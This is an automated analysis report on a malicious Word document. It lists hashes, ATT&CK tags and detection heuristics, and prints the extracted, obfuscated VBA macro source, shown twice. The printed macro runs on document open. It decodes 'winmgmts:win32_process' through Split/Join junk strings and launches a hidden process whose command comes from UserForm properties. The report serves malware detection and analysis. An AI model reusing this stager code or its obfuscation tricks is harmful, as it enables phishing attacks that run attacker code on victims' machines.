Office (OLE) malware analysis — malicious · 00404eda933aa9cf

MALICIOUS

Office (OLE)

239.3 KB Created: 2020-08-21 23:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-15

MD5: 8b27b50ea4d649ed769cc1667724e994 SHA-1: ea5e056f177e53282b8d63547a77d44b4395576b SHA-256: 00404eda933aa9cfdf1fea02539e2e22ff13c99d6e2b480d6e61da641ccf9d19

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-exec macro and a critical heuristic firing for a hidden UserForm command stager. This indicates the macro is designed to execute obfuscated code, likely to download and run a second-stage payload. The presence of VBA macros and the auto-execution mechanism strongly suggest a spearphishing attachment attack vector.

Heuristics 7

ClamAV: Doc.Malware.Generic-9443669-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Generic-9443669-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
L6j5ry_nmiueqwyh = Split _
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set B518r8x8ms0g9 = CreateObject(Nfk9boixzhrg)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Document_open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10283 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10283 bytes
SHA-256: `438e61940fc117dc32a2aee9512c12ec51d47c2e516bee2555708e13a383cb34`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Kjq4ndmn5064a904a" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub _ Document_open() Vlhqwo_uap73z7wm4.Rrue0di83nnaqads End Sub Attribute VB_Name = "Vlhqwo_uap73z7wm4" Attribute VB_Base = "0{E2F523A8-4D0D-4762-A120-A51AA2BD8F0E}{64BE7618-FBFF-44B2-BB5E-DF84AE13F1A0}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function Rrue0di83nnaqads() nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Tp1k5y24pt83vvlqs7 = Vlhqwo_uap73z7wm4.BorderStyle + 100 nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Hqh12pyoep1 = ChrW(Tp1k5y24pt83vvlqs7 + (15)) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 I2rhaaxcwpeqft = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + Hqh12pyoep1 + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + Vlhqwo_uap73z7wm4.Gevk77xxd39fn + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]" nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Nfk9boixzhrg = Tc2ks2yk48rfj_z2(I2rhaaxcwpeqft) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Set B518r8x8ms0g9 = CreateObject(Nfk9boixzhrg) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Rgmst7vs1sx8stp5 = Vlhqwo_uap73z7wm4.V48keb3lrtrk7.ControlTipText nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Kbo7qmav3_o4kews3m = Upl6ctduuowb4o + (Nfk9boixzhrg + Hqh12pyoep1 + Vlhqwo_uap73z7wm4.Go5cl_drll_r.ControlTipText + Rgmst7vs1sx8stp5) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 J96rglc96iw = Kbo7qmav3_o4kews3m + Vlhqwo_uap73z7wm4.Gevk77xxd39fn nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Set Kb2m06mmd8b4oz = Sc2hjm3orf484fem6(J96rglc96iw) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 A8f2bx4grqd40aw = Array(X1i8cd1k_fng3 + "Atkj2723o2ai5o_2eu Bzmurt8g728kwprpusH2velr86jlkia4j1 S0515z7asro5m", B518r8x8ms0g9.Create(Pcvrd2mcfb8y, Kjpkhruacuyy6vt7rn, Kb2m06mmd8b4oz), E1wz_qc1e5asb8m7 + "Ptbi1z8jcf5kswabef Vuq5e3qgccx3t Nl0lrrazp8kipwia X2bcqfz8rks5hp") nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 End Function Function Sc2hjm3orf484fem6(Rm8ip368eijatfzbg) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Set Sc2hjm3orf484fem6 = CreateObject(Rm8ip368eijatfzbg) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Sc2hjm3orf484fem6.showwindow = Hv_kb2xzjeetu8 + V9bw1arxdfko_ nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 End Function Function Tc2ks2yk48rfj_z2(Vs8560tbrhsv) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Y6y83_p7_psz_7r = Trim(Conversion.CVar((Vs8560tbrhsv))) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 L6j5ry_nmiueqwyh = Split _ (Y6y83_p7_psz_7r, "15d" + "f qhs" + "1g 2[s55" + "da znb" + "183b]") nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Z105bmnc7dz96m5vo = N6is805x901k + Join(L6j5ry_nmiueqwyh, U9lxfafqv4v) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Tc2ks2yk48rfj_z2 = Z105bmnc7dz96m5vo nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 End Function Function Pcvrd2mcfb8y() nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Obtn3uj_ufxi9n_m = Vlhqwo_uap73z7wm4.Uoax8x4c9uuoz9.Tag nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 Pcvrd2mcfb8y = Tc2ks2yk48rfj_z2(Obtn3uj_ufxi9n_m) nxuEDsvY52 = 7463 For XoqGaHJZ13 = 0 To 67 nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13 DoEvents Next XoqGaHJZ13 KglkgMVZ68 = 9198 For kZnkwmeI74 = 0 To 24 KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74 DoEvents Next kZnkwmeI74 jhlqPACC78 = 6797 For oAQhdOsV22 = 0 To 44 jhlqPACC78 = jhlqPACC78 + oAQhdOsV22 DoEvents Next oAQhdOsV22 End Function

SHA-256: 438e61940fc117dc32a2aee9512c12ec51d47c2e516bee2555708e13a383cb34

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Kjq4ndmn5064a904a"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Vlhqwo_uap73z7wm4.Rrue0di83nnaqads
End Sub


Attribute VB_Name = "Vlhqwo_uap73z7wm4"
Attribute VB_Base = "0{E2F523A8-4D0D-4762-A120-A51AA2BD8F0E}{64BE7618-FBFF-44B2-BB5E-DF84AE13F1A0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Rrue0di83nnaqads()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Tp1k5y24pt83vvlqs7 = Vlhqwo_uap73z7wm4.BorderStyle + 100
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Hqh12pyoep1 = ChrW(Tp1k5y24pt83vvlqs7 + (15))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
I2rhaaxcwpeqft = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + Hqh12pyoep1 + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + Vlhqwo_uap73z7wm4.Gevk77xxd39fn + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]"
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Nfk9boixzhrg = Tc2ks2yk48rfj_z2(I2rhaaxcwpeqft)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set B518r8x8ms0g9 = CreateObject(Nfk9boixzhrg)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Rgmst7vs1sx8stp5 = Vlhqwo_uap73z7wm4.V48keb3lrtrk7.ControlTipText
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Kbo7qmav3_o4kews3m = Upl6ctduuowb4o + (Nfk9boixzhrg + Hqh12pyoep1 + Vlhqwo_uap73z7wm4.Go5cl_drll_r.ControlTipText + Rgmst7vs1sx8stp5)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
J96rglc96iw = Kbo7qmav3_o4kews3m + Vlhqwo_uap73z7wm4.Gevk77xxd39fn
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set Kb2m06mmd8b4oz = Sc2hjm3orf484fem6(J96rglc96iw)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
A8f2bx4grqd40aw = Array(X1i8cd1k_fng3 + "Atkj2723o2ai5o_2eu Bzmurt8g728kwprpusH2velr86jlkia4j1 S0515z7asro5m", B518r8x8ms0g9.Create(Pcvrd2mcfb8y, Kjpkhruacuyy6vt7rn, Kb2m06mmd8b4oz), E1wz_qc1e5asb8m7 + "Ptbi1z8jcf5kswabef Vuq5e3qgccx3t Nl0lrrazp8kipwia X2bcqfz8rks5hp")
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
End Function
Function Sc2hjm3orf484fem6(Rm8ip368eijatfzbg)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set Sc2hjm3orf484fem6 = CreateObject(Rm8ip368eijatfzbg)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Sc2hjm3orf484fem6.showwindow = Hv_kb2xzjeetu8 + V9bw1arxdfko_
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
End Function
Function Tc2ks2yk48rfj_z2(Vs8560tbrhsv)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Y6y83_p7_psz_7r = Trim(Conversion.CVar((Vs8560tbrhsv)))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
L6j5ry_nmiueqwyh = Split _
(Y6y83_p7_psz_7r, "15d" + "f qhs" + "1g 2[s55" + "da znb" + "183b]")
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
